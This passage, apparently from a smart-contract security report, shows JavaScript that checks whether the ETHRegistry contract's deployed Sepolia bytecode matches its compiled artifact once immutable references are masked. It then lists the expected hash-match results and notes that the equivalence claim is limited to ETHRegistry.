compiled.toLowerCase() === artifact.deployedBytecode.toLowerCase()
const onchain = execFileSync(
'cast',
[
'code',
artifact.address,
'--block',
'11641166',
'--rpc-url',
'https://ethereum-sepolia-rpc.publicnode.com',
],
{ encoding: 'utf8' },
).trim()
const maskImmutables = (hex) => {
const bytes = Buffer.from(hex.slice(2), 'hex')
for (const references of Object.values(artifact.immutableReferences)) {
for (const reference of references) {
bytes.fill(0, reference.start, reference.start + reference.length)
}
}
return '0x' + bytes.toString('hex')
}
const artifactMasked = maskImmutables(artifact.deployedBytecode)
const onchainMasked = maskImmutables(onchain)
console.log(
JSON.stringify(
{
artifactCommit,
sourceCommit,
address: artifact.address,
compiler: metadata.compiler.version,
evmVersion: metadata.settings.evmVersion,
optimizer: metadata.settings.optimizer,
metadataSourceCount: Object.keys(metadata.sources).length,
sourceHashesMatch,
projectSourceCount: projectPaths.length,
projectSourcesMatch,
freshCompileMatchesArtifact,
runtimeBytes: (onchain.length - 2) / 2,
immutableReferences: artifact.immutableReferences,
maskedEqual: artifactMasked === onchainMasked,
artifactMaskedKeccak: keccak256(artifactMasked),
onchainMaskedKeccak: keccak256(onchainMasked),
},
null,
2,
),
)
Expected integrity results:
metadataSourceCount: 32
sourceHashesMatch: true
projectSourceCount: 18
projectSourcesMatch: true
freshCompileMatchesArtifact: true
runtimeBytes: 14730
maskedEqual: true
artifactMaskedKeccak: 0x7d8766107f929e969c2ffd2ad6707428e01854b88d05fd7fc024ee4925f4a08c
onchainMaskedKeccak: 0x7d8766107f929e969c2ffd2ad6707428e01854b88d05fd7fc024ee4925f4a08c
The two masked regions are precisely the 32-byte immutable references declared by the official artifact at byte offsets 1479 and 6921. No proxy implementation lookup is involved; ETHRegistry is a direct deployment.
This equivalence statement is intentionally limited to ETHRegistry. The integration PoC executes the other deployed components on the fork, so their role in the demonstrated state transition is based on observed runtime behavior rather than an unverified source-equivalence claim.